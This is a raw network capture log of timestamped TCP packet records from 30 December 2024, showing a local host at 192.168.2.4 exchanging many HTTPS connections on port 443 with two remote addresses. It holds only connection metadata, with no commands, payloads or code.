Dec 30, 2024 11:36:58.037930012 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.037935972 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.038316965 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.038332939 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.038456917 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.038758993 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.039024115 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.039827108 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.042131901 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.042201042 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.042464018 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.042475939 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.042591095 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.042597055 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.079329967 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.083329916 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.400480986 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.400551081 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.400561094 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.400635958 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.400779963 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.400803089 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.401335001 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.401380062 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.401439905 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.401688099 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.401705980 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.418028116 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.418088913 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.418098927 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.418239117 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.418292046 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.418318033 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.418585062 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.418657064 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.418658018 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.418831110 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.418872118 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.418999910 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.419198990 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.419209957 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.454783916 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.454832077 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.454854965 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.454873085 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.454884052 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.454906940 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.454912901 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.454932928 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.454971075 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.459975004 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.459997892 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.461049080 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.461074114 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.461946964 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.462327957 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.462340117 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.597560883 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.597599983 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.597621918 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.597649097 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.597660065 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.597713947 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.597733021 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.597763062 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.661926031 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.661956072 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.676008940 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.676034927 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.676147938 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.677994967 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.678009033 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.002621889 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.002712965 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.003566980 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.003614902 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.041583061 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.041667938 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.042345047 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.042433977 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.069947004 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.072293997 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.148812056 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.148837090 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.149168968 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.149332047 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.150245905 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.150494099 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.150516987 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.150808096 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.151963949 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.153088093 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.159126043 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.159141064 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.159259081 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.159265041 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.195326090 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.199330091 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.276592016 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.276742935 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.280736923 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.280750990 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.280911922 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.280919075 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.437721968 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.437788010 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.437805891 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.437846899 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.438112974 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.438158989 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.438160896 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.438199043 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.444802999 CET	50156	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.444829941 CET	443	50156	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.445552111 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.445586920 CET	443	50167	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.445708990 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.446130037 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.446144104 CET	443	50167	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.447351933 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.447571039 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.447582960 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.447901011 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.447906971 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.447927952 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.447957039 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.448412895 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.451334953 CET	50157	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.451360941 CET	443	50157	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.452259064 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.452296972 CET	443	50168	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.452497959 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.453161955 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:59.453175068 CET	443	50168	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:59.478346109 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.478395939 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.478408098 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.478420019 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.478483915 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.478483915 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.478491068 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.478534937 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.479345083 CET	50158	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.479357004 CET	443	50158	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.479995012 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.480020046 CET	443	50171	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.480094910 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.480413914 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.480423927 CET	443	50171	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687274933 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687330008 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687334061 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.687347889 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687376022 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.687408924 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.687413931 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687496901 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.687726021 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687774897 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.687971115 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.689193964 CET	50159	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.689210892 CET	443	50159	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.689801931 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.689865112 CET	443	50173	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:59.689928055 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.690141916 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:59.690160990 CET	443	50173	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.046257019 CET	443	50167	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.046339989 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.047036886 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.047048092 CET	443	50167	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.049010038 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.049026012 CET	443	50167	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.060734034 CET	443	50168	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.060787916 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.061377048 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.061403036 CET	443	50168	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.061486006 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.061505079 CET	443	50168	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.087574959 CET	443	50171	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.087789059 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.090058088 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.090069056 CET	443	50171	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.092566013 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.092581987 CET	443	50171	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.292618036 CET	443	50173	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.292686939 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.293072939 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.293082952 CET	443	50173	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.293246031 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.293251038 CET	443	50173	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:00.410083055 CET	50167	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.410126925 CET	50171	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.410161972 CET	50173	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:00.410219908 CET	50168	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.412774086 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.412805080 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.412858963 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.414608002 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.414616108 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.415338039 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.415378094 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:00.415600061 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.417939901 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:00.417953014 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.024611950 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.024687052 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.025348902 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.025353909 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.025618076 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.025623083 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.035993099 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.036056042 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.036475897 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.036483049 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.036642075 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.036645889 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.397279978 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.397357941 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.397373915 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.397408009 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.397557020 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.397593021 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.397600889 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.397654057 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.403088093 CET	50180	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.403103113 CET	443	50180	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.403678894 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.403736115 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.404067993 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.404572010 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.404584885 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.407706976 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:01.407732010 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:01.407861948 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:01.410521984 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:01.410527945 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:01.417742014 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.418580055 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.418661118 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.418701887 CET	443	50181	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.418746948 CET	50181	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.419701099 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:01.419739008 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:01.419861078 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:01.420214891 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.420247078 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:01.420411110 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.420943022 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:01.420958996 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:01.421170950 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:01.421185970 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.005600929 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.005733967 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.017680883 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.017760992 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.018220901 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.018254042 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.018332005 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.018398046 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.020328045 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.020344019 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.023555994 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.023570061 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.023847103 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.023973942 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.024034023 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.024036884 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.024322987 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.024331093 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.024435043 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.024458885 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.024466038 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.031812906 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.031900883 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.032587051 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.032656908 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.034827948 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.034838915 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.035099030 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.035181999 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.035617113 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.067342043 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.079329967 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.391513109 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.391578913 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.391611099 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.391657114 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.391717911 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.391779900 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.391922951 CET	443	50189	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.391968966 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.391987085 CET	50189	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.392230034 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.392256975 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.392324924 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.392550945 CET	50198	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.392565012 CET	443	50198	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.406550884 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.406621933 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.406637907 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.407093048 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.407093048 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.407223940 CET	443	50192	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.407279968 CET	50192	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.407737970 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.407774925 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.407833099 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.408212900 CET	50199	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:02.408225060 CET	443	50199	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:02.430213928 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.430262089 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.430293083 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.430366993 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.430392981 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.430407047 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.430440903 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.431433916 CET	50190	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.431472063 CET	443	50190	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.432651997 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.432667017 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.432727098 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.433053970 CET	50200	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.433064938 CET	443	50200	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.445596933 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.445648909 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.445703983 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.445724010 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.445764065 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.445771933 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.445780993 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.445812941 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.446518898 CET	50191	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.446532965 CET	443	50191	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.447504997 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.447545052 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:02.448040009 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.448251963 CET	50201	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:02.448263884 CET	443	50201	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:03.006886005 CET	443	50198	142.250.186.142	192.168.2.4
